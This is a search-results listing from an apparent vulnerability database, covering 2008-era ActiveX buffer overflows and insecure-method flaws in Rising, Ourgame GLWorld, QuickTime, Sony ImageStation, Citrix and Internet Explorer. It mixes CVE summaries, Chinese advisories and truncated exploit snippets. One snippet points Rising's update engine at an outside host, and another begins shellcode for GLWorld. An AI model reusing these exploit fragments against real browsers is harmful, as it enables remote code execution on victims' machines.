10868 matches found
Rising AntiVirus Online Scanner - Insecure Method Flaw
Rising Online Scanner Insecure Method Vulnerability function test rav.BaseURL = "http://jsmith080220.googlepages.com/"; rav.Encardid = "0000$0000$0000"; rav.UpdateEngine; wait for a few seconds after clicking the button milw0rm.com 2008-02-25...
Rising Web Scan Object 'OL2005.dll' ActiveX Control Remote Code Execution Vulnerability
Description Rising Web Scan Object 'OL2005.dll' ActiveX control is prone to a remote code-execution vulnerability. An attacker can exploit this issue to execute arbitrary code on a victim's computer in the context of the vulnerable application using the ActiveX control typically Internet Explorer...
Rising Antivirus Online Scanner Insecure Method Flaw Exploit
Exploit for unknown platform in category remote exploits ============================================================ Rising Antivirus Online Scanner Insecure Method Flaw Exploit ============================================================ Rising Online Scanner Insecure Method Vulnerability...
Novell iPrint Control ActiveX (ienipp.ocx) ExecuteRequest() Method Overflow
The remote host contains the iPrint Control ActiveX control distributed with Novell iPrint Client. The installed version of that control reportedly contains a buffer overflow that can be triggered by passing an argument longer than 256 bytes to the 'ExecuteRequest' method. If a remote attacker ca...
Microsoft IE参数处理内存破坏漏洞（MS08-010）
BUGTRAQ ID: 27689 CVECAN ID: CVE-2008-0078 Internet Explorer是微软发布的非常流行的WEB浏览器。 Internet Explorer中的一个ActiveX控件（dxtmsft.dll）在图像处理过程中处理参数验证的方式中存在一个远程执行代码漏洞，攻击者可以通过构建特制的网页来利用该漏洞，当用户查看网页时，该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1...
Ourgame GLWorld 2.x hgs_startNotify() ActiveX Buffer Overflow Exploit
No description provided by source. %@ LANGUAGE = JavaScript % % var act=new ActiveXObject"HanGamePluginCn18.HanGamePluginCn18.1"; //run calc.exe var shellcode =...
Microsoft Visual FoxPro FPOLE.OCX ActiveX控件远程栈溢出漏洞（MS08-010）
BUGTRAQ ID: 25571 CVECAN ID: CVE-2007-4790 Visual FoxPro是微软发布的数据库开发工具。 Visual FoxPro的AcitveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 Visual FoxPro的Foxtlib.ocx和fpole.ocx ActiveX控件没有正确地验证对FoxDoCmd方式的输入，如果用户受骗访问了恶意站点，就可能触发栈溢出，导致在用户浏览器会话中执行任意指令。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6...
Microsoft IE属性方式远程内存破坏漏洞（MS08-010）
BUGTRAQ ID: 27666 CVECAN ID: CVE-2008-0077 Internet Explorer是微软发布的非常流行的WEB浏览器。 Microsoft IE在处理属性元素时存在漏洞，远程攻击者可能利用此漏洞控制用户系统。 IE没有正确地处理，如果为该属性分配了其他DOM元素的话，则在释放Variant数据类型期间就会触发内存破坏，导致覆盖虚拟函数地址。如果用户受骗访问了恶意网页的话，就可以触发这个漏洞，导致执行任意指令。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1...
Ourgame GLWorld 2.x hgs_startNotify() ActiveX Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ===================================================================== Ourgame GLWorld 2.x hgsstartNotify ActiveX Buffer Overflow Exploit ===================================================================== 0day.today 2018-04-04...
Ourgame GLWorld 2.x - hgs_startNotify() ActiveX Buffer Overflow
Ourgame GLWorld 2.x - hgsstartNotify ActiveX Buffer Overflow milw0rm.com 2008-02-19...
Stack overflow
Multiple stack-based buffer overflows in an ActiveX control in QTPlugin.ocx for Apple QuickTime 7.4.1 and earlier allow remote attackers to cause a denial of service crash and possibly execute arbitrary code via long arguments to the 1 SetBgColor, 2 SetHREF, 3 SetMovieName, 4 SetTarget, and 5...
CVE-2008-0778
Multiple stack-based buffer overflows in an ActiveX control in QTPlugin.ocx for Apple QuickTime 7.4.1 and earlier allow remote attackers to cause a denial of service crash and possibly execute arbitrary code via long arguments to the 1 SetBgColor, 2 SetHREF, 3 SetMovieName, 4 SetTarget, and 5...
CVE-2008-0778
Multiple stack-based buffer overflows exist in the QTPlugin.ocx ActiveX control of Apple QuickTime 7.4.1 and earlier. The vulnerability affects the QTPlugin.ocx component and is triggered by long arguments to the SetBgColor, SetHREF, SetMovieName, SetTarget, and SetMatrix methods, allowing remote...
EUVD-2008-0788
Multiple stack-based buffer overflows in an ActiveX control in QTPlugin.ocx for Apple QuickTime 7.4.1 and earlier allow remote attackers to cause a denial of service crash and possibly execute arbitrary code via long arguments to the 1 SetBgColor, 2 SetHREF, 3 SetMovieName, 4 SetTarget, and 5...
ImageStation (SonyISUpload.cab 1.0.0.38) ActiveX Buffer Overflow PoC
No description provided by source. html headtitleBuffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method SetLogging/title/head body Dll name:AxRUploadServer.dll Download: http://www.imagestation.com/common/classes/SonyISUpload.cab?v=1,0,0,38 /br/br Description: This file belongs to...
Citrix Presentation Server Client WFICA.OCX ActiveX Heap BOF Exploit
No description provided by source. !-- Citrix Presentation Server Client WFICA.OCX ActiveX Component Heap Buffer Overflow Exploit Vulnerability discovered by Andrew Christensen and Aaron Portnoy http://www.securityfocus.com/bid/21458 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6334...
联众世界GLWorld HanGamePluginCn18类ActiveX控件栈溢出漏洞
联众世界是在中国非常流行的在线游戏网站。 联众世界的游戏大厅主程序GLWorld所安装的HanGamePluginCn18.HanGamePluginCn18.1 ActiveX控件（HanGamePluginCn18.dll，CLSID：61F5C358-60FB-4A23-A312-D2B556620F20）在处理传送给hgsstartGame和hgsstartNotify方式的字符串参数时存在栈溢出漏洞。如果用户受骗访问了恶意网页并向这些方式传送了超长参数的话，就会触发这些溢出，导致执行任意代码。...
ImageStation (SonyISUpload.cab 1.0.0.38) ActiveX BOF Exploit
No description provided by source. !-- ImageStation SonyISUpload.cab 1.0.0.38 ActiveX Buffer Overflow Exploit Vulnerability discovered by Trancek written by e.b. Tested on Windows XP SP2fully patched English, IE6 Thanks to Trancek, h.d.m. and the Metasploit crew -- html head titleImageStation...
Buffer overflow
Buffer overflow in the Sony AxRUploadServer.AxRUploadControl.1 ActiveX control in AxRUploadServer.dll 1.0.0.38 in SonyISUpload.cab 1.0.0.38 for Sony ImageStation allows remote attackers to execute arbitrary code via a long argument to the SetLogging method. NOTE: some of these details are obtaine...
CVE-2008-0748
Buffer overflow in the Sony AxRUploadServer.AxRUploadControl.1 ActiveX control in AxRUploadServer.dll 1.0.0.38 in SonyISUpload.cab 1.0.0.38 for Sony ImageStation allows remote attackers to execute arbitrary code via a long argument to the SetLogging method. NOTE: some of these details are obtaine...